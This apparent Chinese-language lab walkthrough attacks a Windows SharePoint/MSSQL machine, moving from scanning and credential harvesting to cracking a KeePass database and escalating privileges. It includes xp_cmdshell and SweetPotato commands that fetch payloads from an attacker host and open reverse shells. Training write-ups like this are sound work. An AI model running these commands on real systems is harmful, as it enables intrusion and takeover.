Windows渗透测试实战教学：从信息收集到权限提升<\/h1>

1. 信息收集阶段<\/h2>

1.1 端口扫描<\/h3>

使用Nmap进行全端口扫描：<\/p>

nmap -p- 10.10.10.59 --min-rate 1000<\/span> -sC -sV -Pn
<\/span><\/span><\/code><\/pre>关键发现：<\/p>

21\/tcp: FTP服务 (Microsoft ftpd)<\/li>
80\/tcp: HTTP (Microsoft IIS 10.0, SharePoint)<\/li>
81\/tcp: HTTP (Microsoft HTTPAPI)<\/li>
1433\/tcp: MS-SQL (Microsoft SQL Server 2016)<\/li>
5985\/tcp: WinRM (HTTPAPI)<\/li>
<\/ul>
1.2 SharePoint信息收集<\/h3>
访问SharePoint站点：<\/p>
http:\/\/10.10.10.59\/_layouts\/15\/viewlsts.aspx
<\/code><\/pre>
发现Word文档中包含FTP凭据：<\/p>

用户名: tally<\/li>
密码: UTDRSCH53c"$6hys<\/li>
<\/ul>
2. 初始访问<\/h2>
2.1 FTP访问<\/h3>
使用发现的凭据连接FTP：<\/p>
ftp 10.10.10.59
<\/span><\/span><\/code><\/pre>下载所有文件：<\/p>
wget -r 'ftp:\/\/ftp_user:UTDRSCH53c"$6hys@10.10.10.59'<\/span>
<\/span><\/span><\/code><\/pre>关键发现：<\/p>

在.\/User\/Tim\/Files\/目录下发现tim.kdbx (KeePass密码数据库)<\/li>
<\/ul>
2.2 KeePass密码破解<\/h3>
提取KeePass哈希：<\/p>
keepass2john .\/User\/Tim\/Files\/tim.kdbx > hash
<\/span><\/span><\/code><\/pre>使用hashcat破解：<\/p>
hashcat -m 13400<\/span> hash \/usr\/share\/wordlists\/rockyou.txt --force
<\/span><\/span><\/code><\/pre>发现密码: simplementeyo<\/code><\/p>
查看KeePass内容：<\/p>
kpcli --kdb .\/User\/Tim\/Files\/tim.kdbx
<\/span><\/span><\/code><\/pre>发现更多凭据：<\/p>

用户名: Finance<\/li>
密码: Acc0unting<\/li>
<\/ul>
2.3 SMB访问<\/h3>
使用发现的凭据访问SMB共享：<\/p>
crackmapexec smb 10.10.10.59 -u Finance -p Acc0unting
<\/span><\/span>smbmap -H 10.10.10.59 -u Finance -p Acc0unting
<\/span><\/span><\/code><\/pre>挂载共享：<\/p>
mkdir \/mnt\/10.10.10.59
<\/span><\/span>sudo mount -t cifs -o user=<\/span>Finance,pass=<\/span>Acc0unting \/\/10.10.10.59\/ACCT \/mnt\/10.10.10.59
<\/span><\/span><\/code><\/pre>在共享中发现tester.exe，提取SQL凭据：<\/p>
strings '.\/zz_Migration\/Binaries\/New folder\/tester.exe'<\/span>
<\/span><\/span><\/code><\/pre>发现SQL SA凭据：<\/p>

用户名: sa<\/li>
密码: GWE3V65#6KFH93@4GWTG2G<\/li>
<\/ul>
3. 漏洞利用<\/h2>
3.1 方法1：Firefox 44.0 RCE (CVE-2016-1960)<\/h3>
利用步骤：<\/p>

上传恶意HTML到FTP的Intranet目录<\/li>
创建index.html文件，内容为Firefox漏洞利用代码<\/li>
等待受害者访问触发漏洞<\/li>
<\/ol>
关键点：<\/p>

漏洞类型：整数下溢(Integer underflow)<\/li>
影响版本：Firefox < 45.0<\/li>
利用链：触发漏洞后执行PowerShell反向shell<\/li>
<\/ul>
3.2 方法2：MSSQL XP_CMDSHELL<\/h3>
使用impacket连接MSSQL：<\/p>
impacket-mssqlclient sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59
<\/span><\/span><\/code><\/pre>启用xp_cmdshell并执行PowerShell反向shell：<\/p>
enable_xp_cmdshell
<\/span><\/span>EXEC<\/span> xp_cmdshell 'powershell -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString(''http:\/\/10.10.16.12\/Invoke-PowerShellTcp.ps1'')"'<\/span>
<\/span><\/span><\/code><\/pre>4. 权限提升<\/h2>
4.1 方法1：定时任务权限提升<\/h3>
发现点：<\/p>

在系统中发现SPBestWarmUp.ps1脚本<\/li>
该脚本由Admin用户通过计划任务定期执行<\/li>
当前用户对该脚本有完全控制权限<\/li>
<\/ul>
利用步骤：<\/p>

替换SPBestWarmUp.ps1内容为反向shell代码<\/li>
等待计划任务执行获取Admin权限shell<\/li>
<\/ol>
4.2 方法2：SweetPotato提权 (SeImpersonate)<\/h3>
检查当前权限：<\/p>
whoami \/priv
<\/span><\/span><\/code><\/pre>发现SeImpersonate权限可用<\/p>
下载并执行SweetPotato：<\/p>
curl -O nc.exe http:<\/span>\/\/10.10.16.12\/nc64.exe
<\/span><\/span>curl -O SweetPotato.exe http:<\/span>\/\/10.10.16.12\/SweetPotato.exe
<\/span><\/span>.\SweetPotato.exe -p "\Users\Sarah\Downloads\nc.exe"<\/span> -a "-e powershell 10.10.16.12 10011"<\/span>
<\/span><\/span><\/code><\/pre>4.3 方法3：COM Aggregate Marshaler提权 (CVE-2017-0213)<\/h3>
检查系统信息：<\/p>
systeminfo
<\/span><\/span><\/code><\/pre>发现适用于Windows 7\/2008 R2\/8.1\/2012 R2<\/p>
利用步骤：<\/p>

下载并编译漏洞利用代码<\/li>
上传nc.exe和编译后的rev.exe<\/li>
执行rev.exe获取SYSTEM权限<\/li>
<\/ol>
5. 后渗透<\/h2>
获取用户flag：<\/p>
01d18a8e9b980594fc9ae1cbc66e7880
<\/code><\/pre>
获取系统flag：<\/p>
27c3429c280426f0145fe18f647a1fb3
<\/code><\/pre>
6. 关键工具和资源<\/h2>

Nmap：端口扫描<\/li>
KeePass2John：KeePass哈希提取<\/li>
Hashcat：密码破解<\/li>
Impacket：MSSQL客户端<\/li>
SweetPotato：SeImpersonate提权工具<\/li>
CVE-2017-0213利用代码：COM Aggregate Marshaler提权<\/li>
PowerShell反向shell脚本：Invoke-PowerShellTcp.ps1<\/li>
<\/ul>
7. 防御建议<\/h2>

及时更新浏览器和系统补丁<\/li>
限制FTP匿名访问<\/li>
加强密码策略，避免密码重用<\/li>
限制xp_cmdshell使用<\/li>
定期审计计划任务和权限分配<\/li>
监控异常进程创建和网络连接<\/li>
<\/ol>

Windows渗透测试实战教学：从信息收集到权限提升<\/h1>

1. 信息收集阶段<\/h2>

2. 初始访问<\/h2>

3. 漏洞利用<\/h2>

4. 权限提升<\/h2>

7. 防御建议<\/h2> 及时更新浏览器和系统补丁<\/li> 限制FTP匿名访问<\/li> 加强密码策略，避免密码重用<\/li> 限制xp_cmdshell使用<\/li> 定期审计计划任务和权限分配<\/li> 监控异常进程创建和网络连接<\/li> <\/ol>

7. 防御建议<\/h2>

及时更新浏览器和系统补丁<\/li>
限制FTP匿名访问<\/li>
加强密码策略，避免密码重用<\/li>
限制xp_cmdshell使用<\/li>
定期审计计划任务和权限分配<\/li>
监控异常进程创建和网络连接<\/li> <\/ol>